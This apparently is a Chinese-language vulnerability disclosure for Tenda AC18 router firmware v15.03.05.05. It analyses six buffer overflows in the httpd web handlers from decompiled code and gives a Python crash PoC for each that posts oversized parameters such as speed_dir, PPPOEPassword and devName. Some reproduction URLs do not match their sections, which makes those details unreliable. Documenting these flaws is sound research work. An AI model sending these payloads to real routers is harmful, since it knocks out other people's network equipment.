路由器:Tenda AC 18 v15.03.05.05
固件下载地址:https://www.tenda.com.cn/material?keyword=ac18
1./goform/SetSpeedWan 接口文档:
formSetSpeedWan函数中speed_di参数缓冲区溢出漏洞:
使用 binwalk -eM 解包固件,获得系统文件以备后续分析。
/goform/SetSpeedWan 请求会触发漏洞,具体漏洞代码存在于<解压后的固件>/squashfs-root/bin/httpd 文件中, formSetSpeedWan函数里:
Ida查找 formSetSpeedWan函数:
使用sprintf导致缓冲区溢出:
char *)s:将 _DWORD 类型的数组 s 强制转换为 char 类型的指针
_DWORD s[8]; 声明了一个名为 s 的数组,该数组由 8 个 _DWORD 类型的元素组成。_DWORD 是一个数据类型,通常在 32 位系统上表示一个双字(double word字节)。
8 个 _DWORD即32个字节。
"{\"errCode\":%d,\"speed_dir\":%s}":这是格式化字符串,它定义了输出字符串的格式。这个格式包含两个字段:errCode 和 speed_dir。
%d:格式说明符,用于插入一个十进制整数。这里对应变量 v8 的值。
%s:格式说明符,用于插入一个字符串。这里对应变量 v7 的值
在下图可知:
v1是用户可以手动输入的参数a1:speed_dir
若输入的speed_dir字符串长度超过 32个字节(_DWORD s[8]; ),会导致缓冲区溢出。
故我们可以构造
http://<ip router>/goform/schedWifiEnable+speed_dir=a*2000
来复现此漏洞。
poc.py
import requests
ip = "192.168.124.154"
url = "http://" + ip + "/goform/SetSpeedWan"
payload = b"a"*1000
data = {"speed_dir": payload}
response = requests.post(url, data=data)
print(response.text)
2./goform/QuickIndex 接口文档:
formQuickIndex函数中PPPOEPassword参数缓冲区溢出漏洞:
使用 binwalk -eM 解包固件,获得系统文件以备后续分析。
/goform/QuickIndex 请求会触发漏洞,具体漏洞代码存在于<解压后的固件>/squashfs-root/bin/httpd 文件中, formQuickIndex函数里:
Ida查找formQuickIndex函数:
BYTE:这可能是一个自定义的数据类型,通常用来表示一个字节(1字节 = 8位)。
s[72]:这是一个数组,包含72个 _BYTE 类型的元素。这意味着 s 是一个可以存储72个字节数据的数组。
跟进sub_4F7C0
sub_4F7C0,对第二个参数 a2 指向的字符串进行某种转换,并将结果存储在第一个参数 result 指向的缓冲区中。
即将v8填充到s.
而v8为用户输入的参数a1(PPPOEPassword)
若输入的PPPOEPassword字符串长度超过 s[72]个字节,会覆盖其他重要数据,导致缓冲区溢出。
故我们可以构造
http://<ip router>/goform/QuickIndex+PPPOEPassword=a*2000
来复现此漏洞。
poc.py
import requests
ip = "192.168.124.154"
url = "http://" + ip + "/goform/QuickIndex"
payload = b"a"*1000
data = {"PPPOEPassword": payload}
response = requests.post(url, data=data)
print(response.text)
3./goform/SetOnlineDevName 接口文档:
formSetDeviceName函数中devName/mac参数缓冲区溢出漏洞:
使用 binwalk -eM 解包固件,获得系统文件以备后续分析。
/goform/SetOnlineDevName请求会触发漏洞,具体漏洞代码存在于<解压后的固件>/squashfs-root/bin/httpd 文件中, formSetDeviceName函数里:
Ida查找formSetDeviceName函数:
使用 sprintf可能导致缓冲区溢出:
倒数第一个sprintf:
v4[8] 声明一个包含8 _DWORD 类型元素的数组。
这意味着 v4 是一个可以存储8个32位整数的数组,总共占用 8 * 4 = 32 字节的内存空间。
1 是要插入的整数值,表示错误代码。
输出1到v4 ,常量舍弃。
倒数第二个sprintf:
v4[8] 声明包含8个 _DWORD 类型元素的数组,占用 8 * 4 = 32 字节的内存空间。
v9:
常量,舍弃。
倒数第三个和第四个sprintf:
v7 必须指向一个有效的字符a1。
a1为用户输入的字符串:devName(a1)=v7
跟进tpi_set_mac_info 函数:
调用 tpi_set_mac_info 函数尝试设置MAC地址
&&两个条件比需要同时满足:
即输入v8 MAC输入v7devName
将输入的v7写入到字符数组 v5 中,v8写入到字符数组 s 中
定义了字符数组v5 ,数组的大小为 580 个字符,字符数组s, 数组的大小为 128 个字符
若输入的字符串v7长度超过 580个 字节,导致缓冲区溢出。
若输入的字符串v8长度超过 128个 字节,导致缓冲区溢出。
故我们可以构造:
- http://<ip router>/goform/SetOnlineDevName+mac=a*2000,devName=1
- http://<ip router>/goform/SetOnlineDevName+devName=a*2000,mac=1
来复现此漏洞。
注:为了保证 tpi set mac info 函数返回 0,程序进入到漏洞点:
我们需要保证程序进入:
保证 tpi set mac info 函数返回 0:
要求:socket 连接建立成功(模拟的固件可能不支持,可以手动跳过socket 检查或者直接令程序进入tpi set mac info函数)
这里采用第二种:将MOV R3,R0改为MOV R3,#0,直接令程序进入tpi set mac info函数
poc.py
import requests
ip = "192.168.124.154"
url = "http://" + ip + "/goform/SetOnlineDevName"
payload = b"a"*2000
data = {"mac": 1,"devName": payload}
response = requests.post(url, data=data)
print(response.text)
4./goform/SetPptpServerCfg 接口文档:
formSetPPTPServer函数中startIP参数缓冲区溢出漏洞:
使用 binwalk -eM 解包固件,获得系统文件以备后续分析。
/goform/SetPptpServerCfg 请求会触发漏洞,具体漏洞代码存在于<解压后的固件>/squashfs-root/bin/httpd 文件中, formSetPPTPServer函数里:
Ida查找 formSetPPTPServer函数:
用户可控的输入参数为a1。
由下可知:
v21,v22常量,舍弃。
检查 v20 和 v19 是否为空:
如果任一为空,则设置 v24 为 1 并跳转到 LABEL_20。
输出错误。
如果都不为空:
使用sscanf函数格式化V20的值,格式为v13, v14, v15, &v15[8]
使用sscanf函数格式化V19的值,格式为&v9, &v10, &v11, v12
sprintf 导致缓冲区溢出:
第一个sprintf :
将变量 v13、v14、v15 的值和一个字符串 "0" 连接起来,形成一个新的字符串,格式为 "v13.v14.v15.0"。
结果存储在字符数组 s 中。
s为:128字节的数组。
第二个sprintf :
将 v13、v14、v15 的值和一个字符串 "1" 连接起来,形成一个新的字符串,格式为 "v13.v14.v15.1"。
结果存储在字符数组 v17 中。
v17为:64字节的数组。
v16,v17是用户输入的a1:startIp
故我们可以构造
http://<ip router>/goform/SetPptpServerCfg+startIp=a*2000,"endIp": 1
来复现此漏洞。
poc.py
import requests
ip = "192.168.124.154"
url = "http://" + ip + "/goform/SetPptpServerCfg"
payload = 'a'*1000
data = {
"startIp": payload,
"endIp": 1
}
response = requests.post(url, data=data)
print(response.text)
5./goform/openSchedWifi接口文档:
setSchedWifi函数中list参数缓冲区溢出漏洞:
使用 binwalk -eM 解包固件,获得系统文件以备后续分析。
/goform/openSchedWifi请求会触发漏洞,具体漏洞代码存在于<解压后的固件>/squashfs-root/bin/httpd 文件中,setSchedWifi函数里:
Ida查找setSchedWifi函数:
使用 strcpy 导致缓冲区溢出:
复制的字符串src到dest
跟进指针dest:
定义了一个字符数组 dest,数组的大小为 580 个字符
若输入的sr字符串长度超过 580个 字节,strcpy 会将超出部分写入到 dest 的相邻内存区域,从而覆盖其他重要数据,导致缓冲区溢出。
在下图可知:
src为a1
a1用户输入的接收参数list,
故我们可以构造
http://<ip router>/goform/SetNetControlList+list=a*2000
来复现此漏洞。
poc.py
import requests
from pwn import *
ip = "192.168.124.154"
url = "http://" + ip + "/goform/SetNetControlList"
payload = b"a"*2000
data = {"list": payload}
response = requests.post(url, data=data)
print(response.text)
6./goform/openSchedWifi接口文档:
setSchedWifi函数中schedWifiEnable参数缓冲区溢出漏洞:
使用 binwalk -eM 解包固件,获得系统文件以备后续分析。
/goform/openSchedWifi请求会触发漏洞,具体漏洞代码存在于<解压后的固件>/squashfs-root/bin/httpd 文件中,setSchedWifi函数里:
Ida查找setSchedWifi函数:
使用 strcpy 可能导致缓冲区溢出:
第一个strcpy 定义的dest为常量,放弃。
第二个strcpy ,将字符串 src 和 v20 分别复制到动态分配的内存 ptr 的特定位置
跟进 ptr指针:
malloc 是 C 标准库中的一个函数,用于动态分配内存。
0x19 是一个十六进制数,表示十进制的 25。
这行代码分配了 25 个字节 的内存空间。
若src和v20的字节数大于25,字符串长度超过 128 字节,strcpy 会将超出部分写入到 v5 的相邻内存区域,从而覆盖其他重要数据,导致缓冲区溢出。
在下图可知:
src为用户输入的schedWifiEnable
v20为用户输入的schedEndTime
故我们可以构造
http://<ip router>/setSchedWifi+schedWifiEnable=a*2000
来复现此漏洞。
poc.py
import requests
ip = "192.168.124.154"
url = "http://" + ip + "/goform/openSchedWifi"
payload = b"a"*1000
data = {"schedWifiEnable":0,"schedEndTime": payload}
response = requests.post(url, data=data)
print(response.text)